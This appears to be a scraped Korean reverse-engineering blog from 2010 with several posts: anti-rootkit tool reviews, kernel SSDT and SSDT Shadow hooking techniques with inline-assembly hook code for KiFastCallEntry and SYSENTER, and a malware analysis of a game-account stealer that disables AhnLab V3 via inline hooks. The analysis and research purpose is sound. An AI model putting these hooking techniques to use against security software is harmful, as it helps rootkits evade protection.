nUnderstanding a scheduler in the kernel.
nImplementing a simple kernel.
nUnderstanding system calls for process and signal.





Round-Robin Scheduling
  각 태스크는 작은 크기의 CPU Time을 부여받는데, 이것을 타임 슬라이스라고 한다. 스케쥴러가 처음 작동하게 되면, Process Ready Queue의 Front에 위치해있는 Process를 디스패칭하여 , STATE_RUNNING으로 상태를 변경하고 실행을 시키게 된다. 프로세스가 타임 슬라이스를 모두 소비하게되면, STATE_READY로 바뀌게 되고, Process Ready Queue의 Tail부분으로 가게 된다. 단, 프로세스가 타임 슬라이스를 모두 소비하지 못하고 죽는 경우, 스케쥴러는 그 상황에도 관여해서 즉시 새로운 프로세스를 디스패칭 해야한다. 일반적으로 타임 슬라이스 값이 크면, 컨텍스트 스위치 오버헤드가 적지만 응답속도가 느려지게 되고, 타임 슬라이스 값이 작으면, 컨텍스트 스위치 오버헤드가 크지만 응답속도가 빨라지게 된다.
( *이 프로그램에서는 프로세스가 Waiting State로 빠지는 경우는 없다고 가정한다. (즉, Running, Ready만 존재) )




본 소스코드를 상업적으로 이용하는것을 절대 금합니다.
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2010.11.09 20:00
Org Referenced : http://www.tuluka.org/index.html

또 강력한 툴이 나왔습니다.





Tuluka is a new powerful AntiRootkit, which has the following features:

숨겨진 프로세스와 드라이버, 디바이스 감지
IRP 훅 감지
DRIVER_OBJECT의 특정 필드 식별 조회
드라이버 시그내쳐 체크
SSDT훅 감지 / 복원
GDT의 의심스러운 부분 감지
IDT훅 감지
SYSENTER 훅 감지
커널 시스템 쓰레드 리스트 조회 및 , Suspend가 가능
IAT와 인라인 훅 감지
DR 레지스터의 값 조회 가능하며 , 어떠한 모듈에서 DR을 건드리고 있는지 확인 가능
어드레스의 대입만으로 , 그 어드레스가 어떠한 모듈에서 사용되고 있는지 조회 가능
커널 메모리를 조회하고 , 그 정보를 디스크에 저장 가능
커널 드라이버 덤프 / 프로세스의 주 모듈 덤프 가능
프로세스 종료 가능
인터럽트 루틴 / IRP핸들러 / 시스템 서비스 / 쓰레드의 Start Routine 등등등등을    "디스어셈블" 가능
디바이스 스택 Build 가능
기타 등등



Tuluka is tested on the following operating systems(32-bit):

Windows XP SP0 SP1 SP2 SP3
Windows Server 2003 SP0 SP1 SP2 R2
Windows Vista SP0 SP1 SP2
Windows Server 2008 SP0 SP1 SP2
Windows 7 SP0 SP1


최근 들어서 이러한 종류의 툴들이 잇따라 등장하고 있습니다.
특히나 이 툴은  "Command" 를 지원하는것이 가장 큰 특징이라고 볼수있는데,
kernel detective 같은경우는 , disassemble이 있어서 좋았지만,  상당히 불안정해서 쓰지않고 있었는데,
이젠 이 툴로 대체가 가능하게 됐습니다.
Command 같은 경우 ,  Display Memory와  Disassemble을 지원하는데

해당 커맨드는   u (disassemble) , db, dw, dd(display) 가 있습니다.

Tuluka commands

Syntax

u [/d] [DISK] [address] [size]

Description

Disassembles the memory in the given range.

Parameters

address - start address of the region.

size - size of the region.

/d - get data from the disk instead of memory. If this parameter is present then DISK specifies the name of disk.

Example

u 804da000 1000

u /d c: 0 200 (disassembles boot sector)

Syntax

d{b,w,d} [/d] [DISK] [address] [size]

Description

Display the contents of memory in the given range.

Parameters

db - Each displayed line consists of address followed up to 16 byte values of its contents.

dw - Each displayed line consists of address followed up to 8 word values of its contents.

dd - Each displayed line consists of address followed up to 4 double-word values of its contents.

address - address from the dump should start

size - size of the dump

/d - dump data from disk instead of memory. If the parameter is present, the DISK argument specifies the name of disk device to dump.

Example

dd 804da000 1000

db /d c: 0 200 (displays contents of the boot sector)

____________________________________________________________________________________________________________________

>>db /d c: 0 200

00000000 EB 52 90 4E 54 46 53 20 20 20 20 00 02 08 00 00

00000010 00 00 00 00 00 F8 00 00 3F 00 FF 00 00 08 00 00



windbg의 커맨드를 그대로 반영했네요.

결국 이러한 툴들이 등장하는 목적은................
"로컬 커널 디버깅을 실시간으로 가능하게 한다"    라는것이 목적인듯하네요.
kernel detectivce , rkunhooker , Tuluka kernel inspector   모두 같은 맥락의 툴이겠지요.
시간이 지나면 지남에 따라서 , windbg가 필요없게 되는날이 올지도 모릅니다.
아니 , 그 날이 올게 분명합니다.

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

'Reverse Engineering' 카테고리의 다른 글

The Rootkit Arsenal  (5) 2011.01.25
Kernel Detective 1.4  (0) 2010.12.09
Tuluka kernel inspector v1.0.394.77  (4) 2010.10.31
RKUnhooker LE v3.8.388.590 SP2  (0) 2010.10.31
IDA Stealth 1.3.2  (0) 2010.10.10
Import Reconstructor 1.7e FINAL  (0) 2010.10.10
by Sone 2010.10.31 14:58
Rootkit.com에서 활동중인 어떤 회원이 제작한 프로그램입니다.



사실 이 프로그램이 제작된지는 몇달 됐는데,  이제서야 올립니다.

주요기능은 아래와 같습니다

* SSDT/ Shadow SSDT 변조 탐지
* 숨겨진 프로세스 탐지
* 숨겨진 드라이버 탐지
* 스텔스 코드 탐지
* 숨겨진 파일 탐지
* 코드 훅 탐지
* 파일 쓰기/ 복사 기능
* 커널 콜백 루틴 조회/ 삭제 기능 
(PsSetCreateProcessNotifyRoutine / PsSetLoadImageNotifyRoutine / PsSetCreateThreadNotifyROutine)
* 커널 시스템 쓰레드 조회/ 중지 / 재개 기능
* 특정 영역 / 물리 메모리 덤프 기능
* 가상 머신 감지 기능 (using RDTSC)
* 윈도우 메시지 훅 감지 기능
* 강제 블루스크린 발생 기능




저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

'Reverse Engineering' 카테고리의 다른 글

Kernel Detective 1.4  (0) 2010.12.09
Tuluka kernel inspector v1.0.394.77  (4) 2010.10.31
RKUnhooker LE v3.8.388.590 SP2  (0) 2010.10.31
IDA Stealth 1.3.2  (0) 2010.10.10
Import Reconstructor 1.7e FINAL  (0) 2010.10.10
Visual Studio 2010 재배포 가능 패키지 (x86)  (1) 2010.08.05
by Sone 2010.10.31 14:35
 요즘에는 SSDT후킹에 관한 정보들이 온라인상에 매우 많아졌고, 예제 코드또한 많아서 , 이에 대해서 잘 모른다고해도 , 몇번 쳐보고 실습해보면 금방 알수있게 되었습니다. SSDT후킹이라 함은,  System Service Descriptor Table 을 후킹한다는말인데, 좀더 구체적으로 살펴보면, 우선 커널에서 Export 하고있는 KeServiceDescriptorTable (또는 KeServiceDescriptorTableShadow)의 구조체를 살펴보면 다음과 같습니다.


typedef struct ServiceDescriptorEntry
{
UINT* ServiceTableBase;
UINT* ServiceCounterTableBase;
UINT NumberOfServices;
UCHAR* ParamTableBase;
} SSDT_Entry, *PSSDT_Entry;

typedef struct _SERVICE_DESCRIPTOR_TABLE {
SSDT_Entry ntoskrnl;          // Native API
SSDT_Entry win32k;           // GUI Sub System
SSDT_Entry reserved3; // Reserved.
SSDT_Entry reserved4; // Reserved.
} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE; 


 대부분 SSDT후킹이라함은 , ntoskrnl(또는 win32k) . ServiceTableBase[INDEX]  를 따내는것이 대부분일것이고, 이것을 따내는목적은 시스템콜을 후킹함으로써 , 전역적으로 모든 쓰레드에 대하여 자신이 원하는 작업을 수행하게하려는 목적일것입니다. 그런데 이미 오래전부터 잘 알려진 사실이지만 ,  엄밀히 말하면  SSDT를 후킹하는것이   모든 쓰레드에 관해서 전역적으로 후킹한다는것은 틀린말입니다.
 윈도우에서 제공해주는 시스템API를 이용하여 쓰레드를 만들면 (또는 Main Thread 포함)  윈도우에서는 생성된 쓰레드를 효율적으로 관리하기위하여 , 커널레벨 내부적으로 ETHREAD , KTHREAD라는 Struct를 생성하여 관리합니다. 이중,  KTHREAD라는 구조체 내부를 살펴보면 다음과 같은 멤버가 있습니다.

(Windows XP Service Pack 3 기준)
   +0x0de NpxIrql          : UChar
   +0x0df InitialNode      : UChar
   +0x0e0 ServiceTable     : Ptr32 Void
   +0x0e4 Queue            : Ptr32 _KQUEUE
   +0x0e8 ApcQueueLock     : Uint4B
   +0x0f0 Timer            : _KTIMER

 즉 쓰레드마다  ServiceTable이라는 멤버를 가지고있고 , 특정 쓰레드에서 커널 시스템콜을 호출할 경우, 그 쓰레드는 자신의 KTHREAD의 ServiceTable 멤버를 참조하여 , 서비스 테이블을 찾아감을 알수 있습니다. 여기서 생각해보면 , 위 ServiceTable 멤버의 값을 임의로 바꿔버리게 되면 커널이 Export 하고있는 서비스테이블이 아닌, 다른 위치를 참조하게 된다는 말입니다.  먼저 ExAllocatePoolWithTag를 이용해서 메모리를 할당한뒤 , RtlCopyMemory 등을 이용하여, 원래의 서비스테이블 내용을 복사해주고 , ServiceTable멤버의 값을 새로 할당한 메모리주소로 바꿔주면 , 그때부터 그 쓰레드는 커널에서 Export 하고있는 서비스테이블을 참조하는것이 아니라 , 유저가 임의로 생성한 서비스테이블을 참조하게 되는것입니다. 흔히 SSDT를 따내면 전역적으로 후킹이 된다라고 하는것은 , 어플리케이션단에서 작동하는 쓰레드에 대해서 KTHREAD의 ServiceTable 멤버가 조작되지 않았을 경우에 한해서만 성립됩니다.  쓰레드마다 ServiceTable 멤버를 가지고있고 이 값이 변경되버리면 커널에서 Export 하고있는 SSDT를 후킹한다고 해도 , 그 후킹이 먹히지가 않을것이기 때문에 , 전역적인 후킹이라는것이 성립되지 않게 되는것이죠. 이것이 일명 Service Table Relocation이라고 하는것입니다. 이 Service Table Relocation은  SSDT후킹으로부터 보호하고자 하는 쓰레드를 대상으로해서 , 효율적으로 코드를 작성할수가 있어서 현업에서도 종종 이용되는것으로 알고있습니다. (1위 온라인 FPS 총게임에 채택된 보안솔루션도 이 방법을 쓰고있죠.)

 그런데 여기서 머리를 조금만 굴려보면 , 이 Service Table Relocation 도 무력화 시킬수 있는 방법이 있습니다. 즉 , 모든 쓰레드에 대하여 전역적인 SSDT후킹이 가능해지는것이죠. 그 방법은 KiFastCallEntry를 인라인 후킹하는 방법입니다. (뭐 잘 아시는분들이 수두룩할겁니다. 전혀 새로운 방법이 아니죠) KiFastCallEntry는  유저레벨에서  시스템콜을 호출해서  Ring Transaction이 이루어져서 커널레벨로 진입한뒤 , 제일 처음 호출되는 함수라는 의미에서 Entry라는 이름이 붙여진것같네요. 질질 끌지않고 바로 핵심내용을 살펴보면 KiFastCallEntry 함수 내부의 코드를 살펴보면 아래와 같은 내용이 있습니다.


805435bf 8bf8            mov     edi,eax
805435c1 c1ef08          shr     edi,8
805435c4 83e730          and     edi,30h
805435c7 8bcf            mov     ecx,edi
805435c9 03bee0000000    add     edi,dword ptr [esi+0E0h]
805435cf 8bd8            mov     ebx,eax
805435d1 25ff0f0000      and     eax,0FFFh
805435d6 3b4708          cmp     eax,dword ptr [edi+8]
805435d9 0f8333fdffff    jae     nt!KiBBTUnexpectedRange (80543312)
805435df 83f910          cmp     ecx,10h
805435e2 751b            jne     nt!KiFastCallEntry+0xcf (805435ff)
805435e4 648b0d18000000  mov     ecx,dword ptr fs:[18h]
805435eb 33db            xor     ebx,ebx
805435ed 0b99700f0000    or      ebx,dword ptr [ecx+0F70h]
805435f3 740a            je      nt!KiFastCallEntry+0xcf (805435ff)
805435f5 52              push    edx
805435f6 50              push    eax
805435f7 ff1548e75580    call    dword ptr [nt!KeGdiFlushUserBatch (8055e748)]
805435fd 58              pop     eax
805435fe 5a              pop     edx
805435ff 64ff0538060000  inc     dword ptr fs:[638h]
80543606 8bf2            mov     esi,edx
80543608 8b5f0c          mov     ebx,dword ptr [edi+0Ch]
8054360b 33c9            xor     ecx,ecx
8054360d 8a0c18          mov     cl,byte ptr [eax+ebx]
80543610 8b3f            mov     edi,dword ptr [edi]
80543612 8b1c87          mov     ebx,dword ptr [edi+eax*4]
80543615 2be1            sub     esp,ecx
80543617 c1e902          shr     ecx,2
8054361a 8bfc            mov     edi,esp
8054361c 3b3534415680    cmp     esi,dword ptr [nt!MmUserProbeAddress (80564134)]
80543622 0f83a8010000    jae     nt!KiSystemCallExit2+0x9f (805437d0)
80543628 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
8054362a ffd3            call    ebx

 제일 윗쪽의 진하게 표시된 부분을 보시면 ,  ESI + 0x0E0h 를 한다음 그것을 DWORD만큼 참조해서 연산을 수행하고 있습니다. 805435c9  에 EIP가 왔을때 , EDI의 값이 어떤지는 라이브 디버깅을 해보지않아서 현재로썬 모르겠지만, 여기서 ESI는 PKTHREAD일것이 분명할것이고 , 0x0E0는   ServiceTable 멤버의 Offset이라는거죠.   그다음 진한부분을 보시면  EDI 레지스터가 지니고있는 포인터를 DWORD만큼 참조하여 , EDI로 넣고 있습니다. EIP가 80543610에 왔을때 ,  EDI레지스터는  KeServiceDescriptorTable 또는 KeServiceDescriptorTableShadow의 값을 가지고 있을겁니다. 해당 라인이 수행되고나면 , EDI는 KiServiceTable 또는 W32pServiceTable 의 값을 가지게 될것입니다. 다음줄에서 EDI+EAX*4 연산을 수행하게되면, EBX는   KiServiceTable(또는 W32pServiceTable)  + (Service Number * 4) 의 값을 가지게 될것입니다. 즉 실제 Native 시스템콜이 구현되어져 있는부분의 주소값을 EBX가 가지게 된다는 말이죠. 그리고나서 맨 아랫줄에서 call ebx를 통하여 실제 시스템콜을 호출합니다. 그럼 여기서 핵심은 80543610 , 80543612인데, EIP가 80543610에 왔을때 EDI값은  KTHREAD의 ServiceTable 멤버를 참조하는것이 분명할것이기 때문에 , 이 부분을 인라인 후킹해주면 될것입니다. 후킹 함수는 다음과 같이 작성해볼 수 있겠죠.


__declspec(naked) VOID hookproc()
{
_asm
{
mov edi, dword ptr [edi]
cmp edi, OriginalSSDT
je RelocationMySSDT
cmp edi, OriginalSSDTShadow
je RelocationMySSDTShadow
jmp CalculateSystemCall
RelocationMySSDT:
mov edi, MyHookSSDT
jmp CalculateSystemCall
RelocationMySSDTShadow:
mov edi, MyHookSSDTShadow
jmp CalculateSystemCall
CalculateSystemCall:
mov ebx, dword ptr [edi+eax*4]
retn
}
}

위 naked 함수는 이미 특정 커널 드라이버에 의해서 Service Table Relocation 되버린 쓰레드를 걸러내는 기능을 하지는 못하고, 원본 SSDT, SSDTShadow 를 참조하는 쓰레드를 대상으로 전역적인 후킹이 가능하게끔 구현되어져 있지만,
PKTHREAD(KeGetCurrentThread)의  Win32Thread를 참조로하여 ,  그것의 TEST연산 결과를 이용하여(단순 GUI쓰레드 판별) , 그것이 Relocation되버린 쓰레드이건 , 커널의 서비스 테이블을 참조하고있는 쓰레드이건 상관없이, 강제적인 SSDT훅 , 또는 SDTShadow훅을 걸어버리게끔 코드 작성을 생각해볼 수 있습니다. 
 이렇게 하면 KTHREAD 단에서 ServiceTable의 멤버를 바꿔서 Relocation을 수행한다고 해도, KiFastCallEntry에서 Init을 수행하는 과정에서 후킹을 해버리기 때문에  , 모든 쓰레드에 대하여 전역적으로 후킹이 가능해질 것입니다. (사실 실제로 구현해보지는 않았습니다만, 될것으로 확신합니다.)  "KiFastCallEntry 후킹 + 시스템콜 (인라인)후킹"  을 써먹으면 매우 강력한 방법이 될것입니다.
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2010.09.12 07:00
win32k.sys는 기본적으로 Paged 영역이고,
Current Thread가 GUI Thread일때 올라오는것으로 알고있다.
그래서 SSDT Shadow를 후킹하기 위해서는 , 
Current Thread가  System Thread가 아닌,  GUI Thread일때만 가능한것으로 알고있다.

최근 SSDT Shadow를 후킹하기 위해서 여러가지 방법을 찾아보던 중,
Csrss의 PID를 얻어온 뒤, KeAttachProcess한 뒤에,  SSDT Shadow를 훅 하는 방법이 있길래 코드로 적용해보았다.

사실 Csrss가 어떤 역할을 하는지, 또 KeAttachProcess를 왜 하는지 이 2가지를 아직 잘 모르곘는데,
아마 KeAttachProcess는 Current Thread를 GUi Thread로 만들기 위해서 하는것으로 보여지는데...확실치는 않다.
일단 원리는 나중에 습득하기로 하고 , 코드부터 적용을 해보았다.

짱깨가 짜놓은 코드를 약간 변형해서 짰는데...

if(!strncmp(ImageFileName, "csrss", 5) )
{
CsrssPid = PsGetCurrentProcessId();
if(!CsrssPid)
{
DbgPrint("Get Pid Failed!\n");
return;
}

if(AttachCsrssProcess())
{
DbgPrint("Attach Process Success!\n");
SSDTShadowHook();
KeDetachProcess();
//DbgPrint("KeDetachProcess Success!\n");
return;
}
else
DbgPrint("Attach Process Failed!\n");
}


그런데 ,  아직 커널 후킹에는 미숙한터라, 
Native Service를 후킹해서 Csrss를 걸러내기에는 좀 애메한점이 많아서,
하는수없이 MyKiFastCallEntry에다가 심어놓기로 했다. 
물론 IA32_SYSENTER_EIP도 후킹해놓아야 한다. (SSDT Shadow 후킹하려고 Sysenter까지 후킹을....-_-;;)

__declspec(naked) void MyKiFastCallEntry()
_asm 
pushad 
pushfd 
mov ecx, 0x23 
push 0x30 
pop fs 
mov ds, cx 
mov es, cx 

//
push edx
push eax
call IsTargetProcess
//
popfd 
popad 
jmp [d_orgKiFastCallEntry] 


IsTargetProcess 함수 내부에다가  위의 Csrss를 걸러내는 코드를 작성하였는데, 

이상하게 윈도7에서는 잘되는 반면, 윈XP에서는  KeAttachProcess에서  ntstatus.h에 정의되지않은 알수없는  NTSTATUS를 뿜으면서 BSOD가 뜨는걸 확인하였다.
구글링을 해봤지만 , 답변을 찾지못하고 MSDN을 살펴보았는데....
KeAttachProcess를 보니  다음과 같은 문장만 달랑 있다.

The KeAttachProcess routine is exported to support existing driver binaries and is obsolete. Use KeStackAttachProcess instead.



그냥 핵심은.....
KeAttachProcess는 구식이다!  KeStackAttachProcess를 사용해라!
이말이다.


왜 구식인지는 잘 모르겠다.  (아시는분은 가르쳐주시면 캄사하겠습니다.)
어쨌든 구식이라니 , 뭔가 마음에 걸려서  KeAttachProcess와 KeDetachProcess를   
KeStackAttachProcess,  KeUnstackDetachProcess로  대체하였다.


그 결과는..........
매우 잘된다!

PS. 아, 뒤늦게 생각났는데 PsSetCreateThreadNotifyRoutine에다가 등록을 해두고 PKTHREAD의 Win32Thread를 체킹하게끔하면 될것같네요. 해보진 않았지만.....


PS2.  유저 영역의  특정 쓰레드에서  USER/GDI 관련 API를 한번 호출한다음(ex. FindWindow) ,  DeviceIoControl을 통해서 드라이버에 후킹 신호를 보내서,  SSDTShadow를 따내도 된다고 하는군요...USER/GDI API를 호출하면  win32k가 올라오기 때문에 그런듯하네요.
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2010.07.29 18:24

본문을  읽기전에 필요한 사전지식으로는

* 윈도우 시스템에 대한 간략한 지식
* 어셈블리언어에 대한 이해
* C언어에 대한 이해
* 후킹 기술에 대한 이해
* 디버깅 경험

정도를 필요로 합니다.

위 이론들을 잘 모르신다면 , 글을 이해하는데 어려움이 있을수 있습니다.

 

우선 글의 목차를 말씀드립니다.

첫번째로는 , 악성코드의 전파경로가 어떻게되는지와 , Dropper 파일의 역할에 대해서 다룹니다.

두번째로는 , Ahnlab V3라이트가 어떤방식으로 해커가 의도한대로 무력화되는지에 대해서 다룹니다.

세번쩨로 , 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




먼저 악성코드에 대한 설명부터 하겠습니다.

최근 들어 중국발 온라인게임 계정 유출을 목적으로 한 악성코드가 국내에 많이 퍼지고 있습니다.
이 악성코드는 자체적으로 네이트온 메신저를 해킹하여 , 계정과 비밀번호를 가로챈뒤 ,
사용자 몰래 어느 시점에 로그인을 수행해서  해당 사용자의 지인들을 대상으로 하여,
악성코드 다운로드 URL을 무차별적으로 전송시키는 기능을 가지고 있습니다.

쪽지의 내용은 대체적으로 아래와 비슷한 형식으로 퍼지고 있습니다.


하버드 15년 연구제작한 이미지는  뭐 헛소리라고 보시면 될듯하네요.
아마 15년동안 연구 제작한 악성코드 라고 봐야할까요?
어찌됐던 저 파란색 URL주소를 클릭하면  클릭 즉시 악성코드 다운로드 창이 바로 뜹니다.

여기서 하나 당부드리는건 , 저런 쪽지 받으시면 절대 클릭해서는 안된다는겁니다.
뭐 클릭한다고해서 바로 피해보는건 아니지만 막상 파일을 다운로드 받고나면 호기심에 실행해보시는 분들이 여럿 있습니다.
다운로드 받은 파일을 실행하는 즉시,  모든 작업이 이미 이루어져서 컴퓨터내부 곳곳에 뿌려지게 됩니다.


본문에서 분석 설명할 대상 샘플은 위 쪽지를 기반으로 하여 , 가장 최근에 입수한 샘플입니다.

File Name : Animation.scr
File Size : 245KB (251,869 Bytes)
File Date : ‎2010‎년 ‎3‎월 ‎20‎일 ‎토요일, ‏‎오후 7:36:16
CRC32 : B923AAA9
MD5 : F4012760ECD428AE2E717EDA88802AE9
SHA-1 : 520119DF0219800865BA57B4E0821FF4ECC3CEC5


중국해커들은 프로그램을 제작한 뒤  , Binder라는 종류의 프로그램을 써서
하나의 Fake목적의 사진 파일과 , 본질적인 목적의 악성코드 파일,  총 2개의 파일을 하나로 뭉치는 프로그램을 대부분 쓰고 있습니다.
그 결과물이 Animation.scr이라는 파일이고,
이렇게 하나로 뭉쳐진 파일을 실행하게되면 , Fake사진만 화면에 뜨고 모든것이 끝난것처럼 보이게 됩니다.

저는 항상 윈도우탐색기에서 확장자표시 기능을 쓰기 때문에 , Fake인지 쉽게 분간할 수 있지만
대부분의 컴퓨터 사용자들은 확장자표시 기능을 사용하고 있지 않기 때문에 , 저 파일이
화면보호기 파일인지 ,  일반 폴더를 나타내는것인지 바로바로 구분하기가 힘듭니다.
(사실 저도 처음엔 저게 폴더로 진입하는 것인줄 알고 , 한번 실행을 해버렸습니다. 즉, 낚였다는거죠 -_-;;)

scr파일을 풀어보면 2개의 파일이 존재합니다.
jpg는 그냥 쓰잘데기없는 파일이고 , godsan.exe가 핵심입니다.

보통 이러한 악성코드는 간단한 프로텍터로 암호화 해두는 경우가 많습니다.
PEiD 시그내쳐에서는  Morphine v1.2 라고 나오네요.
뭐 어떠한 종류의 Packer가 됐던간에 , 이러한 종류의 악성코드는 뻔한 수법을 쓸게 뻔하기 때문에 손쉽게 Unpacking이 가능합니다.
악성코드가 사용할 법한 API에다가 BreakPoint(중단점) 를 걸어두고 Execution(프로그램 실행) 을 시켜버리는것이죠.
예를 들어서 CreateFile 이란 API를 호출해서 파일을 드랍시킬것이 뻔하기 때문에 CreateFileW에만 BreakPoint를 걸고 Execution을 시켜도,
모든 Packer코드는 풀려져있고 , 악성코드는 하나도 뿌려지지않은 상태에 놓여지기때문에 손쉽게 언패킹이 가능합니다.

자세한 설명은 생략하기로 하고, 어찌됐건  godsan.exe라는 놈의 기능을 정리하면 아래와 같습니다.

1. 파일을 Drop 합니다. 곳곳에 뿌리기 때문에 초보분들은 파일을 전부다 색출해내기가 쉽지 않습니다.

한가지 웃긴게  중국 해커놈들이 요즘 대부분의 보안업체나 악성코드 분석가들이 이러한 종류의 악성코드들이 system32 경로에 뿌려지는것에 익숙해졌다고 판단해서,
이제 GetWindowsDirectory 호출을 해서  Windows Path를 얻어온뒤 , strcat으로 system 경로를 추가시킵니다.
즉 , C:\Windows\system  경로에다가 악성코드를 뿌리는것이지요.
그리고 DLL파일의 형태가 아닌 DAT파일과  log 파일로 뿌리는것을 확인할 수 있습니다.
이것은 일부 백신에서 EXE파일과 DLL파일 패턴의 위주로 빠르게 검사하는 알고리즘을 회피하기 위한 목적입니다.

(참고로  DLL을 DAT로 뿌린다고 해서 실행에는 아무런 문제가 없습니다. LoadLibrary 호출 후 GetProcAddress를 호출하는건 마찬가지로 정상작동 됩니다..)



------------핵심 파일들에 대한 간단한 분석------------
* 위 파일 목록에서 Exewen.exe  파일은  최초 유포파일인 godsan.exe와 100% 동일한 파일입니다.

* Lin.log 파일은  godsan.exe 파일의 PE헤더에서 MZ문자열을 ML 이라는 문자열로 바꿔버려서 PE파일이 아닌것처럼 속이기 위해서 저장된 파일입니다. 그 뒤에 Lin.log 파일을 Exewen.exe 라는 파일로 자기복제를 수행합니다.
이러한 작업의 수행은 Baidog.dat 파일 내부에서 이뤄집니다.
  이것또한 백신의 탐지를 우회하기 위해서 이런짓을 하는것으로 보여집니다.

* Baidog.DAT 파일이 실질적인 계정 유출을 담당하는 파일이며, 원래는 DLL 파일입니다.

* Lcomres.Dat 파일은 PE헤더 문자열이 ML로 조작되어져 있는 Exewen.exe 파일을 MZ문자열로 바꾸는 기능을 가지고 있습니다.

* Sting.log 파일은 MS윈도우 커널에 루트킷 드라이버를 로드시키기 위한 SYS 파일입니다.






2.  리버스 엔지니어링을 방지하기 위한 Code Obfuscation(코드 난독화)
거창하게 난독화 기법이 적용된건 아니고 , 중간중간에 조금씩 적용시켜놨네요.
마치 Themida SDK에서 제공하는 매크로 함수 형태처럼 적용시켜놓은것 같군요.
어찌됐건 저러한 난독화 기법이 분석하는데 영향을 줄 정도는 아닙니다.
분명한것은 , 이전 버젼의 이러한 악성코드는 난독화 기법은 쓰지않았었는데 , 최근 샘플은 좀 업그레이드 됐군요.


3. 윈도우 메시지 훅 프로시저 설치 - DLL Injection

Baidog.DAT파일을 LoadLibraryA -> GetProcAddress (Export된 Function Address를 구해옴) -> 전역 함수포인터에 주소를 저장
-> 전역 함수 포인터 호출


Export Function의 이름은 KaiShi 라는 이름의 함수였습니다.
KaiShi가 중국어 같은데 무슨말일까요?   - Kaishi : 시작하다 - 
KaiShi 함수는 윈도우메시지 훅 프로시저를 설치합니다. 유저 프로세스에 전역적으로 Baidog.Dat 를 인젝션을 하겠다는 목적이죠.



그럼 이제 Baidog.Dat 파일을  살펴봅시다.


여기서부터 Ahnlab의 V3라이트가 어떤방식으로 무력화 되는지에 대해서 다룹니다.

1. 루트킷 설치

Sting.log
이라는 놈을 sysnames.sys 라는 파일로 C:\Windows\system\에다가 복사한 뒤,
커널 드라이버를 로드합니다. 그 후 sysnames.sys 파일은 삭제시킵니다.

sysnames.sys  루트킷은  아래와 같이 SSDT Hooking의 역할을 수행합니다.



Hooking 타겟 Native API 함수는 아래와 같습니다.
NtOpenProcess
NtTerminateProcess


후킹된 부분을 디스어셈블 해보면 아래와 같습니다.

0: kd> u nt!NtOpenProcess
nt!NtOpenProcess:
805cd40a e941366878      jmp     sysnames+0xa50 (f8c50a50)
805cd40f 68c0c44d80      push    offset nt!ObWatchHandles+0x25c (804dc4c0)
805cd414 e87707f7ff      call    nt!_SEH_prolog (8053db90)
805cd419 33f6            xor     esi,esi                    (NtOpenProcess + 0x0F)
805cd41b 8975d4          mov     dword ptr [ebp-2Ch],esi
805cd41e 33c0            xor     eax,eax
805cd420 8d7dd8          lea     edi,[ebp-28h]
805cd423 ab              stos    dword ptr es:[edi]

NtOpenProcess 앞단을 따내서 자신의 드라이버영역으로 끌고오는것을 확인할 수 있습니다.
InterlockedExchange를 이용한  주소 교체 방식의 후킹을 수행하지않고, 인라인 후킹을 수행합니다.
이렇게 되면 SSDT Restore와  SSDT Hook에 구애받지 않고 , 원하는 목적을 수행할 수 있습니다.

점프된 영역을 디스어셈블 해보면 다음과 같습니다.
0: kd> u f8c50a50
sysnames+0xa50:
f8c50a50 68c4000000      push    0C4h
f8c50a55 8b358814c5f8    mov     esi,dword ptr [sysnames+0x1488 (f8c51488)]  esi = nt!ObWatchHandles+0x25c
f8c50a5b 56              push    esi
f8c50a5c ff159814c5f8    call    dword ptr [sysnames+0x1498 (f8c51498)]   원본 SEH설치 함수
f8c50a62 ff258c14c5f8    jmp     dword ptr [sysnames+0x148c (f8c5148c)]  NtOpenProcess+0xf 영역으로 점프
f8c50a68 cc              int     3
f8c50a69 cc              int     3
f8c50a6a cc              int     3

즉 , 이 코드의 최종흐름은 다음과 같습니다.
push 0x0c4
push    offset nt!ObWatchHandles+0x25c (804dc4c0)
call    nt!_SEH_prolog (8053db90)
xor     esi,esi                    (NtOpenProcess + 0x0F)
mov     dword ptr [ebp-2Ch],esi
............................

NtOpenProcess 후킹의 목적은 정보 가로챔등의 특별한 목적이 있는 후킹이 아니라,
Ahnlab의  SSDT Inline Hook을 무력화 하기 위해서 시행하는것으로 판단됩니다.
중국해커가 Ahnlab V3 Lite 의 정확한 분석을 통해서 드라이버를 작성한것으로 생각됩니다.


참고로 Ahnlab V3 Lite 나 HackShield 등에서 사용하고있는 NtOpenProcess 후킹방식은 
call nt!_SEH_prolog (8053db90) 부분을 Inline Patch 해서  보안모듈로 넘어오게끔 하는 방식으로 되어져 있습니다.


아래의 화면을 보시면 핵쉴드가 써먹는 NtOpenProcess 인라인 후킹 수법을 보여주고 있습니다.
원래 call    nt!_SEH_prolog (8053db90)  이 호출되어야 할 부분에서 EagleNT 모듈을 호출하는것을 확인할 수 있죠.
V3 백신도 이것과 동일하게 적용되어져 있습니다.





그런데 루트킷에 감염되게되면 다음과 같이 되죠.
스샷이 짤려서 보이게되면 , 클릭해서 보시면 됩니다.

보안프로그램에서 인라인 후킹해놓은 지점을 건너뛰어버립니다.
따라서 후킹하기전의 상태로 돌려놓는 것이 되버리죠.




다음은 NtTerminateProcess 입니다.
0: kd> u nt!NtTerminateProcess
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]
0: kd> u
nt!NtTerminateProcess+0x11:
805d49bd 837d0800        cmp     dword ptr [ebp+8],0
805d49c1 8bf8            mov     edi,eax
805d49c3 8b4744          mov     eax,dword ptr [edi+44h]
805d49c6 8945f0          mov     dword ptr [ebp-10h],eax
805d49c9 7406            je      nt!NtTerminateProcess+0x25 (805d49d1)
